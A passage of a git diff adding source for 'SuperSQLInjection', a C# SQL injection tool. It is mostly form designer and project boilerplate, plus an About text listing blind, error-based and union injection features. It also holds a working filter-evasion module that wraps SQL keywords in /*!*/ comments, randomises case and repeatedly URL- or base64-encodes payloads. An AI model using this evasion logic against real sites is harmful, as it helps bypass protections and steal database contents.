this.Controls.Add(this.groupBox2); + this.Controls.Add(this.groupBox1); + this.Name = "Seting"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "系统设置"; + this.Shown += new System.EventHandler(this.Seting_Shown); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.CheckBox chk_mysqlMuStr; + private System.Windows.Forms.CheckBox chk_openInfoLog; + private System.Windows.Forms.CheckBox chk_openHTTPLog; + private System.Windows.Forms.CheckBox chk_autoCheckUpdate; + private System.Windows.Forms.CheckBox chk_isAutoSaveConfig; + private System.Windows.Forms.Label lbl_maxColumnsCount; + private System.Windows.Forms.ComboBox cob_maxClolumnsCount; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.ComboBox cob_oneDomainMaxSpiderCount; + private System.Windows.Forms.ComboBox cob_oneDomainMaxScanCount; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.CheckBox chk_redirectDoGet; + } +} \ No newline at end of file diff --git a/SuperSQLInjection/Seting.cs b/SuperSQLInjection/Seting.cs new file mode 100644 index 0000000..7a512a6 --- /dev/null +++ b/SuperSQLInjection/Seting.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace SuperSQLInjection +{ + public partial class Seting : Form + { + public Seting(Main main) + { + InitializeComponent(); + this.main = main; + } + + private Main main = null; + + private void chk_mysqlMuStr_CheckedChanged(object sender, EventArgs e) + { + main.config.isMuStr = this.chk_mysqlMuStr.Checked; + } + + private void chk_openInfoLog_CheckedChanged(object sender, EventArgs e) + { + main.config.isOpenInfoLog = this.chk_openInfoLog.Checked; + } + + private void chk_openHTTPLog_CheckedChanged(object sender, EventArgs e) + { + main.config.isOpenHTTPLog = this.chk_openHTTPLog.Checked; + } + + private void chk_autoCheckUpdate_CheckedChanged(object sender, EventArgs e) + { + main.config.isAutoCheckUpdate = this.chk_autoCheckUpdate.Checked; + } + + + + private void chk_isAutoSaveConfig_CheckedChanged(object sender, EventArgs e) + { + main.config.isSavaConfigWhenClose = this.chk_isAutoSaveConfig.Checked; + } + + private void Seting_Shown(object sender, EventArgs e) + { + this.chk_openHTTPLog.Checked = main.config.isOpenHTTPLog; + this.chk_openInfoLog.Checked = main.config.isOpenInfoLog; + this.chk_mysqlMuStr.Checked = main.config.isMuStr; + this.chk_autoCheckUpdate.Checked = main.config.isAutoCheckUpdate; + this.chk_isAutoSaveConfig.Checked = main.config.isSavaConfigWhenClose; + this.cob_maxClolumnsCount.Text = main.config.maxClolumns.ToString(); + this.cob_oneDomainMaxSpiderCount.Text = main.config.maxSpiderCount.ToString(); + this.cob_oneDomainMaxScanCount.Text = main.config.maxScanCount.ToString(); + this.chk_redirectDoGet.Checked=main.config.redirectDoGet; + + } + + private void cob_maxClolumnsCount_SelectedValueChanged(object sender, EventArgs e) + { + main.config.maxClolumns = int.Parse(this.cob_maxClolumnsCount.Text); + } + + private void cob_oneDomainMaxSpiderCount_SelectedValueChanged(object sender, EventArgs e) + { + main.config.maxSpiderCount = int.Parse(this.cob_oneDomainMaxSpiderCount.Text); + } + + private void cob_oneDomainMaxScanCount_SelectedValueChanged(object sender, EventArgs e) + { + main.config.maxScanCount = int.Parse(this.cob_oneDomainMaxScanCount.Text); + } + + private void chk_redirectDoGet_CheckedChanged(object sender, EventArgs e) + { + main.config.redirectDoGet = this.chk_redirectDoGet.Checked; + } + } +} diff --git a/SuperSQLInjection/Seting.resx b/SuperSQLInjection/Seting.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/SuperSQLInjection/Seting.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/ShowResponse.Designer.cs b/SuperSQLInjection/ShowResponse.Designer.cs new file mode 100644 index 0000000..eba488c --- /dev/null +++ b/SuperSQLInjection/ShowResponse.Designer.cs @@ -0,0 +1,239 @@ +namespace SuperSQLInjection +{ + partial class ShowResponse + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.tab_showInBrowser = new System.Windows.Forms.TabControl(); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.txt_responseBody = new System.Windows.Forms.TextBox(); + this.tabPage5 = new System.Windows.Forms.TabPage(); + this.webBrowser1 = new System.Windows.Forms.WebBrowser(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.txt_requestHeader = new System.Windows.Forms.TextBox(); + this.tab_requestBody = new System.Windows.Forms.TabControl(); + this.tabPage6 = new System.Windows.Forms.TabPage(); + this.txt_requestBody = new System.Windows.Forms.TextBox(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.txt_responseHeader = new System.Windows.Forms.TextBox(); + this.tabPage3.SuspendLayout(); + this.tab_showInBrowser.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.tabPage5.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tab_requestBody.SuspendLayout(); + this.tabPage6.SuspendLayout(); + this.tabPage2.SuspendLayout(); + this.SuspendLayout(); + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.tab_showInBrowser); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(663, 415); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = "Response Body"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // tab_showInBrowser + // + this.tab_showInBrowser.Controls.Add(this.tabPage4); + this.tab_showInBrowser.Controls.Add(this.tabPage5); + this.tab_showInBrowser.Dock = System.Windows.Forms.DockStyle.Fill; + this.tab_showInBrowser.Location = new System.Drawing.Point(0, 0); + this.tab_showInBrowser.Name = "tab_showInBrowser"; + this.tab_showInBrowser.SelectedIndex = 0; + this.tab_showInBrowser.Size = new System.Drawing.Size(663, 415); + this.tab_showInBrowser.TabIndex = 1; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.txt_responseBody); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Padding = new System.Windows.Forms.Padding(3); + this.tabPage4.Size = new System.Drawing.Size(655, 389); + this.tabPage4.TabIndex = 0; + this.tabPage4.Text = "查看文本Text"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // txt_responseBody + // + this.txt_responseBody.Dock = System.Windows.Forms.DockStyle.Fill; + this.txt_responseBody.Location = new System.Drawing.Point(3, 3); + this.txt_responseBody.MaxLength = 10000000; + this.txt_responseBody.Multiline = true; + this.txt_responseBody.Name = "txt_responseBody"; + this.txt_responseBody.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.txt_responseBody.Size = new System.Drawing.Size(649, 383); + this.txt_responseBody.TabIndex = 0; + this.txt_responseBody.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txt_responseBody_KeyDown); + // + // tabPage5 + // + this.tabPage5.Controls.Add(this.webBrowser1); + this.tabPage5.Location = new System.Drawing.Point(4, 22); + this.tabPage5.Name = "tabPage5"; + this.tabPage5.Padding = new System.Windows.Forms.Padding(3); + this.tabPage5.Size = new System.Drawing.Size(655, 389); + this.tabPage5.TabIndex = 1; + this.tabPage5.Text = "在浏览器中显示"; + this.tabPage5.UseVisualStyleBackColor = true; + // + // webBrowser1 + // + this.webBrowser1.Dock = System.Windows.Forms.DockStyle.Fill; + this.webBrowser1.Location = new System.Drawing.Point(3, 3); + this.webBrowser1.MinimumSize = new System.Drawing.Size(20, 20); + this.webBrowser1.Name = "webBrowser1"; + this.webBrowser1.Size = new System.Drawing.Size(649, 383); + this.webBrowser1.TabIndex = 0; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.txt_requestHeader); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(663, 415); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Request Header"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // txt_requestHeader + // + this.txt_requestHeader.Dock = System.Windows.Forms.DockStyle.Fill; + this.txt_requestHeader.Location = new System.Drawing.Point(3, 3); + this.txt_requestHeader.MaxLength = 10000000; + this.txt_requestHeader.Multiline = true; + this.txt_requestHeader.Name = "txt_requestHeader"; + this.txt_requestHeader.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.txt_requestHeader.Size = new System.Drawing.Size(657, 409); + this.txt_requestHeader.TabIndex = 1; + // + // tab_requestBody + // + this.tab_requestBody.Controls.Add(this.tabPage1); + this.tab_requestBody.Controls.Add(this.tabPage6); + this.tab_requestBody.Controls.Add(this.tabPage2); + this.tab_requestBody.Controls.Add(this.tabPage3); + this.tab_requestBody.Dock = System.Windows.Forms.DockStyle.Fill; + this.tab_requestBody.Location = new System.Drawing.Point(0, 0); + this.tab_requestBody.Name = "tab_requestBody"; + this.tab_requestBody.SelectedIndex = 0; + this.tab_requestBody.Size = new System.Drawing.Size(671, 441); + this.tab_requestBody.TabIndex = 0; + // + // tabPage6 + // + this.tabPage6.Controls.Add(this.txt_requestBody); + this.tabPage6.Location = new System.Drawing.Point(4, 22); + this.tabPage6.Name = "tabPage6"; + this.tabPage6.Size = new System.Drawing.Size(663, 415); + this.tabPage6.TabIndex = 3; + this.tabPage6.Text = "Request Body"; + this.tabPage6.UseVisualStyleBackColor = true; + // + // txt_requestBody + // + this.txt_requestBody.Dock = System.Windows.Forms.DockStyle.Fill; + this.txt_requestBody.Location = new System.Drawing.Point(0, 0); + this.txt_requestBody.MaxLength = 10000000; + this.txt_requestBody.Multiline = true; + this.txt_requestBody.Name = "txt_requestBody"; + this.txt_requestBody.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.txt_requestBody.Size = new System.Drawing.Size(663, 415); + this.txt_requestBody.TabIndex = 1; + // + // tabPage2 + // + this.tabPage2.Controls.Add(this.txt_responseHeader); + this.tabPage2.Location = new System.Drawing.Point(4, 22); + this.tabPage2.Name = "tabPage2"; + this.tabPage2.Padding = new System.Windows.Forms.Padding(3); + this.tabPage2.Size = new System.Drawing.Size(663, 415); + this.tabPage2.TabIndex = 1; + this.tabPage2.Text = "Response Header"; + this.tabPage2.UseVisualStyleBackColor = true; + // + // txt_responseHeader + // + this.txt_responseHeader.Dock = System.Windows.Forms.DockStyle.Fill; + this.txt_responseHeader.Location = new System.Drawing.Point(3, 3); + this.txt_responseHeader.MaxLength = 10000000; + this.txt_responseHeader.Multiline = true; + this.txt_responseHeader.Name = "txt_responseHeader"; + this.txt_responseHeader.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.txt_responseHeader.Size = new System.Drawing.Size(657, 409); + this.txt_responseHeader.TabIndex = 0; + // + // ShowResponse + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(671, 441); + this.Controls.Add(this.tab_requestBody); + this.Name = "ShowResponse"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "请求响应"; + this.Shown += new System.EventHandler(this.ShowResponse_Shown); + this.tabPage3.ResumeLayout(false); + this.tab_showInBrowser.ResumeLayout(false); + this.tabPage4.ResumeLayout(false); + this.tabPage4.PerformLayout(); + this.tabPage5.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.tabPage1.PerformLayout(); + this.tab_requestBody.ResumeLayout(false); + this.tabPage6.ResumeLayout(false); + this.tabPage6.PerformLayout(); + this.tabPage2.ResumeLayout(false); + this.tabPage2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabPage tabPage3; + private System.Windows.Forms.TabControl tab_showInBrowser; + private System.Windows.Forms.TabPage tabPage4; + private System.Windows.Forms.TextBox txt_responseBody; + private System.Windows.Forms.TabPage tabPage5; + private System.Windows.Forms.WebBrowser webBrowser1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabControl tab_requestBody; + private System.Windows.Forms.TabPage tabPage6; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TextBox txt_responseHeader; + private System.Windows.Forms.TextBox txt_requestHeader; + private System.Windows.Forms.TextBox txt_requestBody; + + } +} \ No newline at end of file diff --git a/SuperSQLInjection/ShowResponse.cs b/SuperSQLInjection/ShowResponse.cs new file mode 100644 index 0000000..8fbd329 --- /dev/null +++ b/SuperSQLInjection/ShowResponse.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using model; + +namespace SuperSQLInjection +{ + public partial class ShowResponse : Form + { + public ShowResponse() + { + InitializeComponent(); + } + + public ServerInfo server = new ServerInfo(); + + private void ShowResponse_Shown(object sender, EventArgs e) + { + this.txt_requestHeader.Text = this.server.reuqestHeader; + this.txt_requestBody.Text = this.server.reuqestBody; + this.txt_responseHeader.Text = this.server.header; + this.txt_responseBody.Text = this.server.body; + + this.webBrowser1.ScriptErrorsSuppressed = true; + this.webBrowser1.DocumentText = this.server.body; + } + + private void txt_responseBody_KeyDown(object sender, KeyEventArgs e) + { + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.F) + { + FindString fs = new FindString(); + fs.txtbox = this.txt_responseBody; + fs.Show(); + } + } + + } +} diff --git a/SuperSQLInjection/ShowResponse.resx b/SuperSQLInjection/ShowResponse.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/SuperSQLInjection/ShowResponse.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/SuperSQLInjection.csproj b/SuperSQLInjection/SuperSQLInjection.csproj new file mode 100644 index 0000000..7f6138c --- /dev/null +++ b/SuperSQLInjection/SuperSQLInjection.csproj @@ -0,0 +1,234 @@ + + + + Debug + x86 + 8.0.30703 + 2.0 + {6C2AE3DB-3349-4A1F-9287-9278629CD0D6} + WinExe + Properties + SuperSQLInjection + SuperSQLInjection + v4.0 + + + 512 + false + 发布\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 1 + 2016.01.18.%2a + false + true + true + + + x86 + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + x86 + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + false + + + 0661C2B7EEEC92022E280547613647A17F8A3715 + + + SuperSQLInjection_TemporaryKey.pfx + + + true + + + LocalIntranet + + + Properties\app.manifest + + + + + + + + + + + + + + Form + + + About.cs + + + Form + + + AddNode.cs + + + + Form + + + FindString.cs + + + Form + + + Main.cs + + + + + + + + + + + + + + + + + + + + + Form + + + ProgressBar.cs + + + + + Form + + + Seting.cs + + + Form + + + ShowResponse.cs + + + + + + + + + + + + + + + + + + + Form + + + Waring.cs + + + About.cs + + + AddNode.cs + + + FindString.cs + + + Main.cs + + + ProgressBar.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + Seting.cs + + + ShowResponse.cs + + + Waring.cs + + + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + False + .NET Framework 3.5 SP1 Client Profile + false + + + False + .NET Framework 3.5 SP1 + true + + + + + \ No newline at end of file diff --git a/SuperSQLInjection/WARING~1.RES b/SuperSQLInjection/WARING~1.RES new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/SuperSQLInjection/WARING~1.RES @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/Waring.Designer.cs b/SuperSQLInjection/Waring.Designer.cs new file mode 100644 index 0000000..b817c57 --- /dev/null +++ b/SuperSQLInjection/Waring.Designer.cs @@ -0,0 +1,63 @@ +namespace SuperSQLInjection +{ + partial class Waring + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.richTextBox1 = new System.Windows.Forms.RichTextBox(); + this.SuspendLayout(); + // + // richTextBox1 + // + this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill; + this.richTextBox1.Location = new System.Drawing.Point(0, 0); + this.richTextBox1.Name = "richTextBox1"; + this.richTextBox1.Size = new System.Drawing.Size(487, 115); + this.richTextBox1.TabIndex = 0; + this.richTextBox1.Text = "本工具提供给个人、站长、企业、渗透测试工程师、Web安全工程师等信息安全人员进行信息安全检查工具,请勿利用此工具进行非授权测试,产生的法律责任与作者无关。\n作者:" + + "shack2\nQQ:1341413415\n博客:www.shack2.org"; + // + // Waring + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(487, 115); + this.Controls.Add(this.richTextBox1); + this.Name = "Waring"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "声 明"; + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.RichTextBox richTextBox1; + + + } +} \ No newline at end of file diff --git a/SuperSQLInjection/Waring.cs b/SuperSQLInjection/Waring.cs new file mode 100644 index 0000000..88c50f8 --- /dev/null +++ b/SuperSQLInjection/Waring.cs @@ -0,0 +1,18 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace SuperSQLInjection +{ + public partial class Waring : Form + { + public Waring() + { + InitializeComponent(); + } + } +} diff --git a/SuperSQLInjection/Waring.resx b/SuperSQLInjection/Waring.resx new file mode 100644 index 0000000..7080a7d --- /dev/null +++ b/SuperSQLInjection/Waring.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/SuperSQLInjection/about.resx b/SuperSQLInjection/about.resx new file mode 100644 index 0000000..3adea21 --- /dev/null +++ b/SuperSQLInjection/about.resx @@ -0,0 +1,139 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 版本:超级SQL注入工具 v1.0 正式版 +说明: +超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具。 +支持自动识别SQL注入,并自动配置,如程序无法自动识别,还可人工干预识别注入,并标记注入位置。 +支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入。 +支持Bool型盲注、错误显示注入、Union注入。 +支持Access、MySQL5以上版本、SQLServer、Oracle等数据库。 +支持简单的SQL注入绕过,可灵活进行字符替换绕过注入防护。 +支持批量爬行扫描SQL注入或导入连接,批量探测是否可以注入。 +本工具为渗透测试人员、信息安全工程师等掌握SQL注入技能的人员设计,需要使用人员对SQL注入有一定了解。不适合新手人员使用,谢谢! +工具特点: +1.支持任意地点出现的任意SQL注入 +2.支持全自动识别注入标记,也可人工识别注入并标记。 +3.支持各种语言环境。大多数注入工具在盲注下,无法获取中文等多字节编码字符内容,本工具可完美解决。 +4.支持注入数据发包记录。让你了解程序是如何注入,有助于快速学习和找出注入问题。 +5.依靠关键字进行盲注,可通过HTTP相应状态码判断,还可以通过关键字取反功能,反过来取关键字。 +官网:www.shack2.org + + \ No newline at end of file diff --git a/SuperSQLInjection/app.config b/SuperSQLInjection/app.config new file mode 100644 index 0000000..e365603 --- /dev/null +++ b/SuperSQLInjection/app.config @@ -0,0 +1,3 @@ + + + diff --git a/SuperSQLInjection/bypass/StringReplace.cs b/SuperSQLInjection/bypass/StringReplace.cs new file mode 100644 index 0000000..7f6a8ab --- /dev/null +++ b/SuperSQLInjection/bypass/StringReplace.cs @@ -0,0 +1,248 @@ +using System; +using System.Collections.Generic; +using System.Text; +using SuperSQLInjection.model; +using System.Text.RegularExpressions; +using SuperSQLInjection.tools; +using System.Collections; +using tools; + +namespace SuperSQLInjection.bypass +{ + class StringReplace + { + public static String strReplaceCenter(Config config, String request, Hashtable replaceList) + { + + //找到需要处理的字符 + MatchCollection mc = Regex.Matches(request, "(?<=(\\))[.\\s\\S]*?(?=(\\))"); + String str=""; + foreach (Match m in mc) + { + str = m.Value; + + if (config.reaplaceBeforURLEncode || config.isOpenURLEncoding==false) + { + //替换字符 + str = ReplaceString(replaceList, str); + if (config.inculdeStr) + { + String split = " "; + ///*!包含分隔符*/ + String val=getValue(replaceList," "); + if (!"".Equals(val)) { + split = val; + } + str = ReplaceString(str, split); + } + if (config.isOpenURLEncoding) + { + //URL编码 + str = urlEncoding(str, config.urlencodeCount); + } + } + else { + + if (config.inculdeStr) + { + ///*!包含*/ + str = ReplaceString(str, "%20"); + } + if (config.isOpenURLEncoding) + { + //URL编码 + str = urlEncoding(str,config.urlencodeCount); + + } + //替换字符 + str = ReplaceString(replaceList, str); + } + //随机大小写 + if (config.keyReplace>0) + { + String splitstr = " "; + if (config.isOpenURLEncoding) { + splitstr = "%20"; + } + str = toLowerOrUpperCase(str, splitstr, config.keyReplace); + } + //base64处理 + if (config.base64) { + str = base64Encoding(str,config.base64Count); + } + //替换request + request = request.Replace("" + m.Value + "", str); + } + return request; + } + + public static String urlEncoding(String str,int index) + { + + for (int i = 1; i <= index; i++) + { + str=URLEncode.UrlEncode(str); + } + return str; + + } + + + public static String base64Encoding(String str,int index) { + + for (int i = 1; i <= index; i++) { + str = Convert.ToBase64String(Encoding.UTF8.GetBytes(str)); + } + return str; + + } + public static String ReplaceString(Hashtable repalceList,String str) { + if (repalceList != null && repalceList.Count > 0) { + try + { + IDictionaryEnumerator ite = repalceList.GetEnumerator(); + while (ite.MoveNext()) + { + String key = ite.Key.ToString(); + if (!String.IsNullOrEmpty(key)) { + str = str.Replace(key, ite.Value + ""); + } + + } + } + catch (Exception e) + { + Tools.SysLog("替换字符发生错误!----" + e.Message); + } + + } + return str; + + } + + public static String ReplaceString(String oldStr,String splitStr) + { + StringBuilder sb = new StringBuilder(); + try + { + + String[] strs = Regex.Split(oldStr, splitStr.Replace("/**/","/\\*\\*/")); + for (int i = 0; i < strs.Length; i++) { + sb.Append("/*!" + strs[i] + "*/"); + sb.Append(splitStr); + } + } + catch (Exception e) + { + Tools.SysLog("使用/*!*/包含关键字发生错误!----" + e.Message); + } + return sb.ToString().Remove(sb.Length-splitStr.Length,splitStr.Length); + + } + + public static String getValue(Hashtable table, String key) + { + try + { + IDictionaryEnumerator ite = table.GetEnumerator(); + while (ite.MoveNext()) + { + if (key.Equals(ite.Key)) { + return ite.Value+""; + } + } + } + catch (Exception e) + { + Tools.SysLog("获取对应键值对发生错误!----" + e.Message); + } + return ""; + } + + + public static String randStr(String key) { + StringBuilder sb = new StringBuilder(); + Char[] cs = new Char[key.Length]; + cs = key.ToCharArray(0, key.Length); + for (int j = 0; j < cs.Length; j++) + { + string c = cs[j] + ""; + if (j % 2 == 0) + { + c = c.ToUpper(); + } + else + { + c = c.ToLower(); + } + sb.Append(c); + } + return sb.ToString(); + } + + public static String toLowerOrUpperCase(String oldStr, String split,int changeType) + { + + StringBuilder sb = new StringBuilder(); + try + { + MatchCollection mc = Regex.Matches(oldStr, "([a-zA-Z_\\.]+"+split+ "|[a-zA-Z_\\.]+\\()"); + foreach (Match m in mc) { + + String keyStr =m.Groups[0].Value; + //库名.表不处理防止部分情况出现错误 + if (keyStr.IndexOf(".") != -1) { + continue; + } + if (changeType == 1) { + oldStr = oldStr.Replace(keyStr, randStr(keyStr)); + } + if (changeType == 2) + { + oldStr = oldStr.Replace(keyStr, keyStr.ToUpper()); + } + if (changeType == 3) + { + oldStr = oldStr.Replace(keyStr, keyStr.ToLower()); + } + m.NextMatch(); + + } + /* + String[] strs = Regex.Split(oldStr, split); + for (int i = 0; i < strs.Length; i++) + { + String s = strs[i]; + if (s.IndexOf(".") != -1||s.IndexOf("@") != -1||s.IndexOf("(") != -1) + { + sb.Append(s); + } + else { + Char[] cs=new Char[s.Length]; + cs = s.ToCharArray(0, s.Length); + for (int j = 0; j < cs.Length; j++) + { + string c = cs[j]+""; + if (j % 2 == 0) + { + c = c.ToUpper(); + } + else { + c = c.ToLower(); + } + sb.Append(c); + } + } + if (i+1 != strs.Length) { + sb.Append(split); + } + }*/ + } + catch (Exception e) + { + Tools.SysLog("生成随机大小写字母发生错误!----" + e.Message); + } + return oldStr.Replace("0X","0x"); + } + } +} diff --git a/SuperSQLInjection/model/Config.cs b/SuperSQLInjection/model/Config.cs new file mode 100644 index 0000000..3f7b3b9 --- /dev/null +++ b/SuperSQLInjection/model/Config.cs @@ -0,0 +1,65 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Collections; + +namespace SuperSQLInjection.model +{ + [Serializable] + public class Config + { + public Config() { + + } + public String domain = ""; + public int port = 80; + public int maxTime = 10;//延时注入判断阀值 + public InjectType injectType=new InjectType(); + public DBType dbType = new DBType(); + public int timeOut = 10;//秒 + public int threadSize = 1; + public int reTry = 2; + public String encoding = "UTF-8"; + public String request = ""; + public String key = ""; + public String db_encoding = ""; + public Boolean useCode = false; + public int columnsCount = 0; + public int showColumn = 0; + public Boolean reverseKey = false;//反取关键字 + public KeyType keyType = KeyType.Key;//判断类型,可以盲注以关键字或时间判断 + public Boolean isMuStr = true;//开启多字节字符 + public Boolean is_foward_302 = false; + public Boolean isOpenInfoLog=true;//开启底部日志 + public Boolean isOpenHTTPLog = true;//开启HTTP日志 + public Boolean isAutoCheckUpdate = true;//自动检查更新 + public Boolean isSavaConfigWhenClose = true;//自动保存配置 + public Boolean useSSL = false;//ssl + public Boolean isOpenURLEncoding = true;//开启URL编码 + public Boolean redirectDoGet = false;//重定向使用的请求方法 + public int maxClolumns = 50; + public int urlencodeCount = 1;//url编码次数 + + //file + public String readFileEncoding = "GBK"; + + //cmd + public Boolean showCmdResult = true; + + //bypass + + public Boolean reaplaceBeforURLEncode = true;//是否在URL编码前处理bypass字符 + public Boolean inculdeStr = false; + public int keyReplace = 0; + public String randIPToHeader = ""; + public int sendHTTPSleepTime = 0; + public String replaceStrs="";//字符替换 + public Boolean base64 = false;//base64 + public int base64Count = 0; + //scan + public int level = 0; + public int linkCount = 1; + public int maxSpiderCount=10; + public int maxScanCount = 10; + } +} diff --git a/SuperSQLInjection/model/DBType.cs b/SuperSQLInjection/model/DBType.cs new file mode 100644 index 0000000..663061a --- /dev/null +++ b/SuperSQLInjection/model/DBType.cs @@ -0,0 +1,17 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace SuperSQLInjection.model +{ + [Serializable] + public enum DBType + { + UnKnow=0, + Access=1, + MySQL5 = 2, + SQLServer = 3, + Oracle = 4, + MySQL4 = 5 + } +} diff --git a/SuperSQLInjection/model/DataBase.cs b/SuperSQLInjection/model/DataBase.cs new file mode 100644 index 0000000..c2fbe51 --- /dev/null +++ b/SuperSQLInjection/model/DataBase.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace SuperSQLInjection.model +{ + [Serializable] + public class DataBase + { + public SerializableDictionary>> tables=new SerializableDictionary>>(); + } +} diff --git 